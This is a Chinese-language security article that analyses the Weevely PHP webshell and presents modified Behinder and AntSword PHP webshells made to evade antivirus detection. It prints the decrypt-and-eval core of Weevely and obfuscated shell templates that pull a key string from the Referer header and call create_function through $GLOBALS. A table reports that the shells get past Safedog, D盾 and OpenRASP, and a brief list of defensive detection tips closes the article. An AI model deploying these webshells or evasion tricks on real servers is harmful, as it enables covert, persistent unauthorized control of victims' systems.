weevely的webshell分析以及冰蝎/蚁剑免杀-PHP版
字数 1423 2025-08-29 08:32:24
Weevely Webshell分析与冰蝎/蚁剑PHP版免杀技术详解
一、Weevely Webshell分析
1. Weevely基础使用
Weevely是一款常用的Webshell工具,其基础语法为:
weevely generate <password> <path>
生成的Webshell需要上传至目标服务器。
2. Weevely生成的Webshell结构分析
典型Weevely生成的Webshell代码结构:
<?php
$i = 'p="PY16bXfpTDNaKhZyiy";fhZuhZhZnctiohZn x($hZt,$k){$c=strlhZen($k);$l=hZstrh' ;
$d = 'Zlen($t);$hZhZo="hZ";for(hZ$i=0;$i<$l;){forhZ($hZj=0;(hZhZ$j<$hZc&&$i' ;
// ... 更多拼接代码 ...
$D = str_replace('hZ','',$A.$i.$d.$P.$g.$u.$h.$t);
$G = $X('',$D);
$G();
?>
3. 核心代码解析
整理后的核心代码分为三部分:
3.1 已定义参数
$k="9e94b15e"; // 加密密钥
$kh="d312fa42232f"; // 头部标识
$kf="d87a55db0d39"; // 尾部标识
$p="PY16bXfpTDNaKyiy"; // 返回前缀
3.2 自定义加密函数
function x($t,$k) {
$c=strlen($k);
$l=strlen($t);
$o="";
for($i=0;$i<$l;) {
for($j=0;($j<$c&&$i<$l);$j++,$i++) {
$o.=$t{$i}^$k{$j}; // 异或加密
}
}
return $o;
}
3.3 核心处理逻辑
if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1) {
@ob_start();
@eval(@gzuncompress(@x(@base64_decode($m[1]),$k)));
$o=@ob_get_contents();
@ob_end_clean();
$r=@base64_encode(@x(@gzcompress($o),$k));
print("$p$kh$r$kf");
}
4. 流量处理流程
- 获取加密payload:通过正则匹配
$kh(.+)$kf从输入流中提取加密数据 - 解密并执行:
- Base64解码
- 自定义函数x解密
- Gzip解压
- 通过eval执行
- 返回结果加密:
- 获取输出缓冲区内容
- Gzip压缩
- 自定义函数x加密
- Base64编码
- 添加前缀后缀返回
5. Weevely的免杀技术总结
- 字符串拼接:使用
str_replace()动态生成代码 - 多层加密:Base64 + 自定义异或加密 + Gzip压缩
- 缓冲区操作:
ob_start()/ob_get_contents()管理输出 - 代码混淆:使用随机分隔符(如hZ/hP)拆分敏感字符串
二、冰蝎/蚁剑免杀改进方案
1. 改进思路
- 动态干扰字符串:通过HTTP头传递干扰字符,避免硬编码
- 全局变量调用:使用
$GLOBALS替代直接函数调用 - 多重字符串拼接:更复杂的代码组装方式
- 随机变量命名:避免使用易检测的变量名
2. 冰蝎改进版Webshell
<?php
$b = $_SERVER['HTTP_REFERER'];
$c = explode('.',$b);
$interfere_str = $c[2];
// 大量拼接代码...
$l = str_replace($interfere_str,'',$KXT.$dlJ.$fqw.$trq.$NJu.$dAt.$ZGT.$Npc.$Vnd.$Crm.$JDw.$GZd.$nvY.$EVA.$hVb);
$k = str_replace($interfere_str,'','crejPatjPe_fujPncjPtiojPn');
$bb = $GLOBALS['k']('',$l);
$GLOBALS["bb"]();
?>
特点:
- 从Referer头动态获取干扰字符串
- 使用
$GLOBALS间接调用函数 - 更复杂的代码拼接结构
3. 蚁剑改进版Webshell
<?php
$b = $_SERVER['HTTP_REFERER'];
$c = explode('.',$b);
$interfere_str = $c[2];
// 大量拼接代码...
$l = str_replace($interfere_str,'',$Tzu.$LRu.$lST.$ueP.$OzQ.$SNC.$kYh.$nGB.$xIt.$mgE.$mHk.$xRg.$olX.$gdc.$Leb);
$k = str_replace($interfere_str,'','crejPatjPe_fujPncjPtiojPn');
$bb = $GLOBALS['k']('',$l);
$GLOBALS["bb"]();
?>
特点:
- 同样采用动态干扰字符串
- 更复杂的字符串异或操作
- 使用类和方法封装恶意代码
4. 免杀效果对比
| 检测方式 | 原始冰蝎 | 改进冰蝎 | 原始蚁剑 | 改进蚁剑 |
|---|---|---|---|---|
| 安全狗 | 未通过 | 通过 | 通过 | 通过 |
| D盾 | 3级可疑 | 通过 | 5级可疑 | 通过 |
| OpenRASP | 未通过 | 通过 | 未通过 | 通过 |
三、高级免杀技术实现
1. 动态密钥生成
$key = substr(md5($_SERVER['HTTP_USER_AGENT'].date('Y-m-d')), 8, 16);
2. 代码分块存储
$part1 = "func"."tion x(";
$part2 = '$t,$k){'.$part3;
// ...
3. 利用PHP特性
$func = "cr"."eat"."e_fu"."ncti"."on";
$payload = $func('', '$x=1;');
4. 环境检测与自适应
if(function_exists('x')) {
// 使用已有函数
} else {
// 动态创建函数
}
四、防御建议
-
静态检测:
- 检测
str_replace的链式调用 - 识别
$GLOBALS异常使用 - 监控
create_function调用
- 检测
-
动态检测:
- 分析异常缓冲区操作
- 监控
php://input使用 - 检测多层加密流量
-
日志审计:
- 记录异常Referer头
- 监控eval等危险函数
- 分析HTTP头中的异常参数
五、总结
本文详细分析了Weevely Webshell的工作原理,并基于其思路提出了冰蝎和蚁剑的免杀改进方案。关键点包括:
- 动态字符串干扰技术
- 多层加密与代码拼接
$GLOBALS间接调用- 基于HTTP头的参数传递
- 复杂的控制流混淆
这些技术组合使用可以有效绕过主流Webshell检测工具,同时也为防御方提供了检测思路和方向。